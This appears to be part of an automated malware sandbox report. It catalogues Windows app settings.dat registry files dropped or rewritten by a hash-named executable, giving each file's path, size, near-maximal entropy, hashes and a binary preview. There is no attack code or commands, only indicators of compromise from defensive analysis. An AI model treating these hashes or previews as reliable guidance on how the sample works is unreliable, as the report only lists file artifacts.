Preview:	regf..9z....uK..scV...G.FM>FZB....mY..9.1YN\|.%.&...w.......4.l..).fB.....Q...Z.c.L...n.[z%...K,..K.=y5<.V;..C..:F"..R....2~.6J66..i...\_t..4~\.....M.dW....\...gT}L...<[..:.g.jb.L.3H,o..?...........-.......c>.XR..E..#h+..<...d..nz.g....Q...!....{......}...>.)#&..W......E.'......qE?..........q...U.Ff...1...LNd........9:.l..m..m5):.1(......\|.{1d...W....W.w@..>.......>.2....u.OJR...QheG.3...~..z8..i.~.-.P=^..{Z.._x.... E...PC.S.}C......O-)..A...>.kAY:...q_o.........7v/.......%..D.}..8.@...2............/m.L...fR..n.E@.......2....p.U.{.?.9..2og.....=I#...W6..,/......x.oLL~.B..\.2W...:.@D........\|...$...hR...2......<..T.nv5.......WY..eMS....O.Fgi..3...p.;..?N...Y@............2k...I..[#%Hb(....$Hs.........]...3...@...1.....5.v..:}....^Rh...(..a(....S\|.?.&..1...K.^.s..o.5o.u.b...wC.Ns...g..Dm3.v....v...%.....c.`..>....=i....W..C^.A.9]U.....m...t9...~..+%....[....^ur.KV .......>.+c..L.G.>...$9#.U..t.X..0...z..#...0..(..N.Pv...[.._.5.......Q....k8A.r

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978561094248274
Encrypted:	false
SSDEEP:	192:Bj4gidhCY2/yU02BoPUAQUBcQRXxDzU8Vuj9tbjF0a+/:BMgi/C302WUAQUBcOlXGtia+/
MD5:	F2A217C0C110696DD2FC6D480F4A7A31
SHA1:	8EDDEDDBB1475676F75DA205E00272AC77257548
SHA-256:	ECBB36D198F31ADF53A82271C675ABF336A170A37494DF6926A888858C1ED6BC
SHA-512:	1A528E2B685B4A3B48F452CA12DF8E9D325550A7784D5A48FB3D113B64B73569D101FDD2602B5AC71175A575913E9685636E3862AC781ED60BBCCAA9AB838219
Malicious:	false
Preview:	regf.t....,..K:.-9...N.{k3K..@4..^.>.a.l.k9.I. ..).-.......!...R...06...I2.V.Z.!....1k.....T..O9....n..^...W._...ct.W...e..(.x:..C2....\|.2.....O."f....\|h.\|+i..%.f....0.`..k..\..).`$Nr..8 ..s....g.:qB......FU2.\|......2..").s.!.oL..X(...A..5\|.......5}..>.\(9W.J..A.n]f...%.a..C.6.y..Z....1.._..G..U.3.d....=..nD\|...e........o.w...Z...T.Y.kT...<.{t....r.....fO<...G..n..hj.cQV7pY.:....n..E:.....q....b....w..r.._...D%...-.(.....R<.A.0..{]..q.-.f..g_P.L"}..+M..P..;...':...[-]ex.}.w.<...M.....P.EX..)(3.c(.Q....C"...v.M...<...w~C.vW.Y.......<q.x.!K.\...K...)G63..8.......=+.+l.Q.d&..@M.E.Q.&......;.L....}..;.....t\>.'..`Er.....]..F...qox;.$..l.....@7..%h.:.c.}N....n.o...=..&.%.u....TP..l.nI..#...Gta.[....:.Oh/....b0.Od.%&.......u..7%.=_.R...T....l...6.a..%.g..mM..Y=Z;...;;$..%,........$..8..@...'R..jX....G(D.P.w.\|.....E...\...,...87X>b..r. ..l.Nf2.a.G..e>.5.IM~...=l...-........*8j $q..,:p..R.~..oBgV".O.0.n...m+.a....ZK.3..p.L.S..0.S.Pr...g.>.t..r.>.W...A.

C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975334597910299
Encrypted:	false
SSDEEP:	192:roTvSnLd4TVj57rQY4yW/hyxSP1T0gzvUX66kOzrx2CWR:roTSnGTT7rQ3y4hyoPqgxOzltO
MD5:	000237257F7D5CC8A9CEABCE97B853F6
SHA1:	C0396CBAC04852BA2407F19BB3C8A7328F5A861A
SHA-256:	53EC4400897F4999FF62C5803A1B67B837FF3E708278884F7E8F49DFB1B663BF
SHA-512:	80A7EF4C266CCB217B7A03D2727C5321D1C7EBB79F94476BAD2A8A794087D980F7E224B8DC8A5394AF91C3327BBAA49AFC49DA2A81123472B7C550BB3A32663C
Malicious:	false
Preview:	regf.2....\|..1.^....s}........\|.{.n\.....fL.7t....^..........}...G....[..w...VA.F..R.9.#}.....(..lKLE..\...NXlTx:.F....<.....k.......jr.5.'.D....+...s?...4.......B...f... ....2.-....k.k...IYRLB.............y..!.@S......=..0...HNy1..s....E....g...]b....m......s...:..S.f..(..$wLR.].....owrgBXJL..5.....4...O.+~(.l.=...N"E.O.bwcR...5...o.U.r^.).../...A.#..3::.Le....0.Z#.......c{............>.cuqTK./.\|w2...... ......N.V...Uz.d..H_.M6..Ds0.##..E.{...!W6.../L@.......u..=.e.]v....!.<sO;1.._.l.Qc".........).T.t...2d.c...6...>dU..k.^.M...73.T.\K....\E..E_..7.....y.._1.0.u.......I.....'..xZ.............U...%@l...qH.ooh.)..%....f.As.;+..8..}_.../.b...b..&w.....!.......e..j..s....X..a...S.5..%..$.+..p(qw..]z.Jw..q.c.9...,[.X..Ka#..:..M1U.....[...5wNYz$k&8&.m...t..ME.%...+....O....+...?J.wG}..Q.t...xL........S=...x.w6..e..c).3C.Dd....Z..,.a.s^..m.._.A...:AC...........!.'.X....]........E.P!..YO..x.4d........:..D..B3..<...2...g.. ..;...>.X....{.*..,

C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979456929732159
Encrypted:	false
SSDEEP:	192:DwX1mLmwqO+8MSFkgym35TC+Jl98+9+XPEU5+fl0Ha:8FWmsFxym35TRBi560Ha
MD5:	D352D64E0648965F1DEC6CB09D90E655
SHA1:	A277AD0871874B205996A294D29F1FCC35A74B63
SHA-256:	DFF44848125D73BE1B2D9A6EADEDB61EAA373C9144E2C9752A2B2CEFA060A3A5
SHA-512:	DA56D722AD62E5BFA7F1A17D4854C8D062EF8E2ACA3FF88C04DB0743BD3640BDFF184341A3AA4DB0815E490ABCF55AD2C9CB2DE075C8F3F83D567298E74B2F37
Malicious:	false
Preview:	regf.h.Q.'.I.0..z.....P. n.w..P...v.kl......H...Br.o2..1G...... .N.[....Z.%OC..3d. .HA..............L.-...k....d.D..N.S`..X...Pt...Y.>5..@...az.$...>...[~..Y$.h.d..X..fr.p..g.]gJ..ie.O.+.y..CS....}...b..J...........E<.W..B.;..t.'..+..#:.....e/.g$r..f../(~.y..../...N.....=..O.@7.U.[9..)jj.H.!.'S..Y..Q..+..$.....J Qp4..# ..K..r.WaZ...E....l-..\|Te.XX.[.YW.."..8....(Gg...Pm..~.v{...rt...^mz.W..\|....\|J-...!...&..X...........'_B..Z......3...=.q...v....]....$.S2K...c.W.2.REJ..r.........\|.....x..o....&....._9.K......QZH.`%....2.+.r/..N..}.6..W1$...[....=%.I.tC..s..."u..n...'.S.......0.c..-.....DG.C..q....B.2.r.K.x.E...F.?{...&.YjC....]6=...v..4.M..O.^.....>5r.z.._u.V...>..4...a...M.\|.........a.Ei}..#.K.J.l...g.)r.u]/.......?E......)..lRi....cA..0.0.5W,..!.....-[........t-.v.v.T..&J9.0.....&..#.w.;?.8P9a....jm...k.QV..n....M..x..d.(dm........../..U.4...s...8d.;o+.a..:.. .._]m..:<.- .y....Co.(..l........~...\...i_.<...M.0....\|....n....h. .&.

C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978746045028594
Encrypted:	false
SSDEEP:	192:R2tTt26WREl8QFQfriyDJhMM++MM9X/Ppa4KiU2SUVZXw:R2hlgCK/bB+kP84KntUVZA
MD5:	EFE48C5F224194DB289DF8FFD710FA2E
SHA1:	91DA4EC3A157F81D2E9FEB24B3C317F16D28A4A6
SHA-256:	4B4CBCA55DEAC50F6CEDC9F90A7F31918DE77B3697C9C81E5AA0521EA77A28F8
SHA-512:	8A3AAE66552B63FD184CE23327E06AEE5C19024DD8F2370927C004E8817744DCDFF3C9C18AC14957A4534B4859575B69B0370FFD997D6A84BDD4C9C4A83364DA
Malicious:	false
Preview:	regf.y....c...>y.......s.j.]...p.0.V^#.X.......M..Dl..l./h=J.~0.m.V..,.+4...i..(.."s.F.^.f....8..~..62M.e..9`.C^.....`yg:.j....`_m{UN.;.......5.....mN"P...r.I.nrnl.[Fqc_....k..h..u3.S.(e.?.0R...[...I{4/O\...!\|6U......b..........g.)...W..X..Q..kQ/.....-.Y....LXy..x.......f...T...A......i..im....j...Q}..,:...a..+1...EmY.+...`.x.H.h7.a..n=.3...e.i......-.+j._....sW.G.?Y.l....J..3.,v._...M..=f.q...H.s.P.V....Q....![...P.3.?V...D..~>..[.y..T..d..ob..'...}~..k...-.z.d..6l....L......}.?n...1-..]..F..E=.c}{..).B..e...p' $9..l]..c...=u...Y..s!s.\|AvL.FnIF;/...Q...@0.....loh3.mC...`J...3\|...Q..ZG......]V...6[..T.U.9.c:_k.WC..gH'.!....7pK.9f...m>G8k....,...&;.,S......w~...l..{.\|.5s..1..'.NM.....7&......-....I)..B.....;..E....n.d....g...h"'..N.=...6...z.A..7.{q......x1.e.y..l.9.Q..$.........w\..JA.M_..c.l.....A..B}..1...>...y=%5..KB.5.^.=.=..UE{uC...d... .....K.. .A.b.\|\F7.<.l.or...."y...k..kQ3.&.....N..=~.....l., ...'.....h'..........7.....$.

C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9785841671174405
Encrypted:	false
SSDEEP:	192:OQkLFtWkPx39eOlL5IC6NWsbjejTuyKXp3b/oL5dPEmlm:OtLn5x9x5IjNWQej6Xp3biKT
MD5:	AB57300DDB7A2B008A635AEC1DC9C734
SHA1:	AEB840359AB4755E9A0CFFF8F48A6CBE4C33928E
SHA-256:	D7CD8D62B1C5770B1C1ABFD5C5E9F4338D67B29BC24188FBBA7E29087A425C18
SHA-512:	329CA891E1F9ED538F3AA9365978163EA3B6675FED4E2CC1BCEF1586393BD874B93D0FFB3406F1BF605D9DACBA49563A1893417DFC50804CB175A80EA9FF9165
Malicious:	false
Preview:	regf.......W.+9....z. .. Y.]...y^U....O....K..v..3.......z^...C....E......{v.?I8.....,G...\|.a{..=.7....O....w.._.m...n..h.-HZ-.q_\|_{fE._....M.....`L.K?..rH......w~...b..N-....w.v.T..M..b...i.>-\|...).l>......a..-...G...kzl..a........j.y.".g...Y..4?.j.Q...&f\|..@.):...._.f..H...,...0<.A..w....Z.Ci.h...8.4..r^.+...=hG.i....{...K.Px.(..<%U@.{.xk....@#.....'...j}..9......y......9.....G.v..-Du....;^.d....g..G.4..\|.........(..._......V....=../o.a..SD.F'.16r\|o..;./..$?G.._..z..P1.....J.(;H'.... mdb<..}e.(V....S..#.%...%~,=...g;=@..S.......Wv.q._(..#.../r.q..U`.c.....[.H.."..."R.n..o.<wt.E..u....~....<..J..)6.......v.i.h..........f. .i..J$3.O..P..>.Q..\.G..n.a0....y..@..<...BMu.x}?..dg.q..+.....Cl..L.5..Z.=..w....c..M..Aa..4k.)-...WJ....x....M&I.lUi..KY^:&......q....p....T8.5vF..<..y..~....a.... ..n.....a. ................).Y.."..B...~.v8..Q...K..QH.. W.".:..pV.?....!....o....bd..C.A....V2...B...[1..xs4...@..^.......1.9...^.>...

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977471094681947
Encrypted:	false
SSDEEP:	192:OBLfmOHJLW6jNlrSMifWGKSfPguSEnQ3cdowN0Vz9QadFbb3:OBLO2fjGRmwQCGzqad1b3
MD5:	032B92D46F7677842B060B670606732A
SHA1:	EE208AED12EB66BB3B4F9CC4F526C054A962E566
SHA-256:	7F73E3C7ED6C92FAED76A95570F853B02B91CA17EA009FD40046DA3F05510276
SHA-512:	691A7582E9064C769BCEF81461CB0F387E2FB014DB54C384566B246FFEF37C05A59E2D16E5C6B957AE4EC35107D30B8F46EEE9BA89CDD80B1F62D2054F17E591
Malicious:	false
Preview:	regf.6..s..u4.7.pF........1$....E....^..h.../.?v')N....}r..+....=W..L/..8hKL.G...^...s.I..^.B.M..8../#X.#...Nd.4...X.nYZ..A.s...[..>..\|......6.w...Xc..z..u..x'...0.7..<..=l..1..d..5......Y9P.}V....W.,+m%.NA.^..p]...k}....u..#.......@e..b....M.d..O.h....b....Y.1..`.).Tk.k.O..$........\|3..4......Fs.&D.f.A.N4.D..A.!..K.@h...2.-.........^...)H..Q..{.F...=A....j.sJ...2..)H.GQb.w...q.......IM...b4=.>....$..1(.K.t..#<......X...1..t.Q..:..aSJ.........{.!.C.w....$....?P.y!.Q#\&..H[......Oy_.W~....`..r...;...3..w.4....@.r(.g..?..;=RU_....]..P....k....ep.....c..$ ...LD..].............9.%...q.i.<s...HV...Y......c..k.....2zl......k.zK...FaiSL!.lt.....of...../.f.:....`....T...B...x..d.u$!B;km4.+{Y.X.O\.\|!d..<..=......z...`.%qSx.]V.......W.2.\|.L..L.Ri..pDP.<rm&.M....=....Yr...@....7o..Jt...QK..!4./......,.}..`.(...-weTo..U...m........,..]...;..{.c\|Y\.Rj.e.....DU-b..Pz...[...}.g......5.W.I.~H.B..+Rh..z...T...[JR...n....K.v..Q3.jbT...$[# ....b..5..1x.[}..Y.Qn

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977028049417689
Encrypted:	false
SSDEEP:	192:hfAJHSjKNh117aARuhnplJfIQ2BecRCAWsyyZk7DM:ZeSjKNL12ARGpPQQCfhDWo
MD5:	9DCD9BB7BB1871188783D3D3179802B9
SHA1:	D55DF81820BFF3665EF799F880B0061AB7722588
SHA-256:	D394AFF1DEE3228FD17B3EFF2B09271B55D72AC10503301FE4FE2DB6F608EC42
SHA-512:	E0C652963B9B18BBAC4EE29C96B7F34090BC1066578EA6FFC28DC2AB47408FEF823A33F5C709757170CB01323D8C6D9A4184729F8404B764C3C65AA7CF43650A
Malicious:	false
Preview:	regf....r.a.d.....Evd...fvI.A...}m[Aq......>3.%E....2..f.=2..s..Y...F.A..J..g.N.W.3zW]...o.....{.....\..N...tr,66../'d...S.Z_........l."gN.r....>...j5.y...........:..Y[.S.g..".:.O.\|4....=......;.".S..0..U...T..D.p.C}.&k.....)s.....p.A..L.Pe~:.8.C.."......T.z..Z...E.....Y.....zKT"Q.75X.2k].d1.v......eNO^..<..G4^S.=.....M.l.P..Gm.."d..t..#g.\|.h.?".9.F..,..N4....Z.6...y.`>g.T..}.r[.U3.P.Y.........v......0.....67u.0'..)q.;..}3.\..Mj/$t8O.HO.>:..^......T.N....n.r.>....]...C.N..@.{H}........aMh....G+.}mB......,..........a.....rg.....`...2..Zu....n...q...F........An.&...+X..V...u\|'..........O.M~.Q".....(..F..TkW....t.K8....o....b!r......U......'8=..dC..$.....u.ai.]..A..1..;...O._D.Oj=...M.r+.E.C.H#.._...$....P@D9...D.....r..:3.h/.B....i....~z.....[......M..".J.......v..m>.,.....A{%l.....~O.........r.w..RRJJ.....uo.+5...6.....AI .....ae...(...0.2...6..D.!c$...1Z.K..&H=Yo..e...Z.q.^c?.c@@y....._J..&..z.B....4.9.].M........H..B..KG.dc..scc..../..3=tL.z.

C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981136574768616
Encrypted:	false
SSDEEP:	192:SsgbN1tPA1wHLeEclDF/IaXmVG8WeHoJN3OCt29SHIGb0Bsp1BHwW:o4wL8Fwa2zoj3OWESHf2UHl
MD5:	9B72F995E1450C21AA503C0AD10B0F41
SHA1:	B2DA5F15837275B117F7292215A7F0EDC7B053F0
SHA-256:	B0648231C0FFF13D6DD48032623DAE7CD131F2E6EB62BE4B7EB1B5603AA12A13
SHA-512:	1BA0EF1B4B44053A233D195743DB61ACD905B30F319FBB7AE8ECC9DA89ACE6D98E14C737090FF61070CB776BB34D2DB43C4BD6BF23606C4D43C31631EB4DD7FA
Malicious:	false
Preview:	regf.B.T....vd..O.F.<......T..Td.y..n./.2..`.....gF..r.9..u.....D'..W.......Oaq...............%....b?..5\|B......d{...%..+x)'4.Y.u.].Vu......9.../..e....(..9n.Z..b%..#q.r7'...P.T..$.v..S......,c..."B\Sw"#w...4....7..k....R.....n8....,i...4._..z.U......(.#.[.@...&TY...(.q}..k..)....q.!w.i7o..6..\|.,\..=.X6H.I..4.].....+...$....4....\.c...SKc$.Tx..L.J.iiW......o'..P..[Q...4..q...b....Dl&......cov.....U.s....1[...BQ_...g..z.W..u%.5E.^....3(.x....g.>.....(Y_aq.\6&.Y......&.~."5:pP.PJf3.\|J.b..S...l.C.C...I...z.2.8S\.".....mblTB)x.@.9..R9..t.T{.H.?....yW,..>..O..{...\|n.u.F./c...}0%>.5i.5......M,.-W+.....P..1..k..#........4}...G/5b....&..`.D.z..er....~...{..gg`..A..C......?...3..2.Y...+.)..v......x.#"=..G..P.fA......... .e0%`.nZn.e.t+..G..Q...<ZPx..6..o#C.......1.E7N..1.(v....T....I........i.Dq.......C.Mr...t....M%.. ....4.T...}...Z{...0.. ..J..W..4...1.`.y..G@......<.+...G..F%.c..'...~S....{j(8...x.cWy./.r/~M..>.6.XB5...;.R..:.+`......p.x...K..l>

C:\Users\user\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978071118018953
Encrypted:	false
SSDEEP:	192:nRIDL96jU7f9wNpGOTLCqri0dG2Pdz1iqz/341qH:niL96jOOzGOTGqrNG2FpiqboG
MD5:	EB327B83B59B6402E01B03DD247438BF
SHA1:	4E6C6834AF5BDAAFF4768751520B285C5C8B1910
SHA-256:	AF6E22A235D7A530A3AD66D225DECC8915B222EC038D8D1FF190B1E158B08D30
SHA-512:	8CE283A93E7A8C620CEEE7CDF7768576492DA67F25D196B7E54E90B1F672CF9C89D4FF87817BF6448F08676831CE6E00FF1387A08A3F1E3A294AAF8000F3DF2C
Malicious:	false
Preview:	regf......:.....j.._?x.....G..3..R..>..p./..9.k......WR...MNL.cS o.g%.!..k..&5.},..6JN."......f......<.L..^.@%..6........\/M..B..t...M.(.ib....:....~..'.1.?..M.\|......s..\...E..."...C..........[.y.8z.!<3..A.`2K....S2..!g6....]...rn......'.~.......k.................`I.5....=.O.n......w..R..Op.\|].k.?7....Q.1...uB.._.-2..U_J.R.@.L.`~<T...".......Q.....:a.k.0..o.......9F.:..!XO.......@.Y..1_..e.........V.B..`.[..eo.......Jd....'...BY.\.....XX,T.j..P.X ...,...Z.+4,...2...#.......#.@.>.m.t%....Yy[NB.....j.......(.t/..Po..5..'.=.n.!...eM+qp....(......dd..D......=;.N.FC..W./.`:..[.....gC..z..B.:.a.D.p..........D.......V....#3`..i.o....#....J6.....u.Q.p*.>1}.9....H.....tx..)A....).J....rJ.....Y..X[.Vc.?t...e._.'.5..6W....e_.SEF.&..A>.u....;v.5nd........a.O.J..~......rW.]P.~BeFL.../\|...)....f.kp....&\....:.5T.qT..v.K@....ttZY5..T...AuH.....Y....!CQMQ[..)..V.......s..5.....0..K. ...[.q...c$."..../.SM.p..8....It..S.C..W6lC.....B......z..}8...q...xS..6.S$

C:\Users\user\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976312751572114
Encrypted:	false
SSDEEP:	192:lmSEWrOrKZrNHTd1Br8TccUTLoA5r+LuHlEBp:/sMNHT/9DDxr+LlL
MD5:	2059CE03DE3DD4CF247761CB69DBC0EA
SHA1:	7A6D3AC8D1F56AAB8999FC3D040796744A90FF4E
SHA-256:	F028927D8A21D2D90725C442B2BBBC87BB17ACC6C4F46C08F73F501028CE60B7
SHA-512:	CCD1C5DE97088556B707ACEF0502912311DF71EBBA514D9CE82E46CF96EAD582B741604AB12B8217912B4B6440CE2706E3ABCE684EFE30857E90F4E4A079790D
Malicious:	false
Preview:	regf..../.\......=4@f.....).....9u.M.J..P.M....R..C..j^8..QW.s.......>.....X.,..M{...)...>.......7_S.d(S...^..7..%WB..Q....l...:NU.%._.o.}UD...z..6..y;1i;...$G.(`7..<...n J.aF.,....._{.6ZZ.....^\|..f.q.Ou<.Q.[j.)..C....r......;i[.fz.\|.S...B..b7.4a...i{v...6zsE......."..7b.....A\`o=M...#....6..{F.......d.b2.R=.oD..e.v...["#..2.w..`... i.0...I.%.P.k........C....C..Y.ZmO..8....7....s..kAo..1~V..`.c>..].2....2@V........A..g..E/..g.:....{.......N2c`F.I...lF...C......g..Y.I /.!Yf..I.U..C.,...HO..q$.Y..[.h.5.@..S0..l.iv..j!.....IHJ-....`..A.f..)hK......W.Lx..Xd.........^q..4dm...7...fl..V.=d=t^....h..W.6....:...+......z...zn`n..Z.4..Y...I..o.,~iP...Q.f.....p.a.......m...".U...Ii\|i./..Q....{8.>._...k...m........6....Q....G.bk'gS.>2..w..4.G ..4.c..<.K.*..{.......L.......]..wR...@./..(...+%....M..n$....Z.;...A].9'.C.S.{zpl]....V.I...U..$...;_u...&G...T...m....A}z...R.....rZ.......0.A_.vV..MQ\32(U.=(;...3.>...0....Er.:..G.....,P..G..f....<..k<.T.~.

C:\Users\user\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9798369126693505
Encrypted:	false
SSDEEP:	192:h2Ryh9m2UXxbPyvxwe8O49CCYfSxr8N7ev16aS+aF6ucj:msZKRPsHRKxIokaSB0f
MD5:	449EDD8BEF278AC61D1E4E584E4A63B9
SHA1:	53EF9A0F4E786B75FFADCCCCEB0A136E34AA600A
SHA-256:	A45E10CFFF4C874D00719164F4740082062A8AE86970525F6DFEF1C2016D466C
SHA-512:	7C5F1BE6FC4DCFAD36513C4BE03729E7E1DF17B594F1838378CA772451410146F0CDAEF132914C2777DF242C47D98BD541B1C7C77D3A684183C4606759BDCFD2
Malicious:	false
Preview:	regf.....P..l.>.... Z..R.I.%.&...&!7...9.hQ.X..eU-.;....t.\..}.S....!-..3.c......3;Q..".4.2h....1.3\|.u\........-wb....$.jEh..ee.O.Y%.dcxi..Wlf..XR.0.Su.Pt.&:A.f..`ej......S...~e....2=>...}..B.PJ7^1GLd..YfX.."x..f[..E!...e...P[.pg.e=(.......q.Hu..X.....9Hv..<t.t..OS....b..wGV(.$\|.../.uB......XI..y."~(....tm^U.\..6.*-bU>.....3...m...3..$....&.+...1....zp..\2...\V..)..f.">C..7z.+y..se@'..Xe..T1.z..T]d.+......D^DF.'m.iOO.oif...+7./Y.. J.B.0...v.@...@.....[S+...&@.v.& -.......-..!..AH.+#Dg...~..LiF{.h.. .i.z&..A.L...G.0..n..M.......z^O.m....K....2..,...."l.t..9.......~.....)-....9l@.8.....#Y[.L.u.T\{.0.....$.Y.H.5..\L.....9...#+....#e..b S..A)...[=..96......D.FN.Tw...\|....S....=..`.....\|...8_!^..$.......x....J.l...."..A..\|..J).,.:R...l...X......j'....A#.c<.. ...LC6. ..E..kp.k.p%.A..Pe..1-..+@.y/k.>.6"..-R...o......U~.....T.J...9.+....^..Z..,fE../.....o.O...)..._.&M......>K....5j..+).>B_9.}.#..+.lwL:_...l~...0=e2Mdc...{...X[)L...lJ.d...z.#.:

C:\Users\user\AppData\Local\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974307549961405
Encrypted:	false
SSDEEP:	192:4Oq+Qvfc8wNxGs52YdINM0fEC8FTWPdtR:NqxXEZ52YeOC8UDR
MD5:	2D0282FA1AF26253FD3A4B077DCEFE6B
SHA1:	7818F75498E4D20186FAB8E81DFB55AD1E6BEDFE
SHA-256:	01430ECBD8B8DF53B931292139AE49FB0F78FF4A908D8E6D2C98DA39D918F754
SHA-512:	8D682B4C1BA2B70FB7A82FDE4F785AF6D56AF4D3E2007308A925E6A3734C7A69408B82ADAC9C0A55D29B50363E52ACE4E087399263BCF6B91C5A52DEF1699D7D
Malicious:	false
Preview:	regf...R..Y.wz......$g.#7...[.j5Dxs.6....\;.^"%...>"#.....45r6....-/>.........,...]..\.=.K.w...~.n..b.....s...1.XB[Kf.\|bs..&..r..5.N.....lS..........r..lD.x.Zo..\|Y...A..S.==.r...p..pH..(.....)E.c.S..2_(<<.o...6.d..]M..6.X.Q...9'i....H.U.Jz%..............2..%>E._5..o.._...<...s....X.e....9{:%Z.r..{....u....i.....w....M0{.>R....v.I].....&.~rM".U8k..?..R-]...x/l....)E-k.3<X1pH.A.J....}..............j...Uw......4k....pw...[...a\.{........x...Bq....;........U.^r.C?.M.\|2.."y.3.$[.Rv..3....z.G^....}T.y-..c...I..i...:..<.\|.......~Y..=...V#..P.a....O.(c....[.T6.p..3...v......].2..=...s....\.g.'..J.+D....i.t......@.u?....d..WL..4j....T..qP..qQ.?y!..g]....y.AX6..m.B...R..hDi.hC.......E]...F#GlbP..{.6..?...Wh....T;*.kxj...`]..6...........O.f.. -..}.y..<..y.......%.^]...N..A........\...`..n......DV@.\...b..0.b..Q...K.=C.......`\...V...S.n..q.....+wn.g.W0...F;.....5...;.C...[...J....5\|..!t...[..Y.w....-.(.#.!.vn......ZvAi(+.uH....Ed-.....a.W

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97834147644322
Encrypted:	false
SSDEEP:	192:82JdGj+aVMBW3gJ+Tid7WSu6jfCKc1RLB0fQ49CEnPGrMzJFYFgGP:1Ajp0DJD7HuwCdef9Dzw
MD5:	0BF4860DDBBFDFEFABD2DA725FEEACE1
SHA1:	C5E0FB540AFE12A6999A4B80F1E10DA77D0D255A
SHA-256:	587030F45779C0F7C36DCE75A8BCC6FB09AE73700410DFFB681AC2E4AF481870
SHA-512:	85D236C1F15F4A53AFF3F3C29738514AE6B8E27BEB7C439E8777404591F59CF21B0B56CB8DA1185D5811D35E725478DE29E140A1BCB1640385EE2AB851B732D9
Malicious:	false
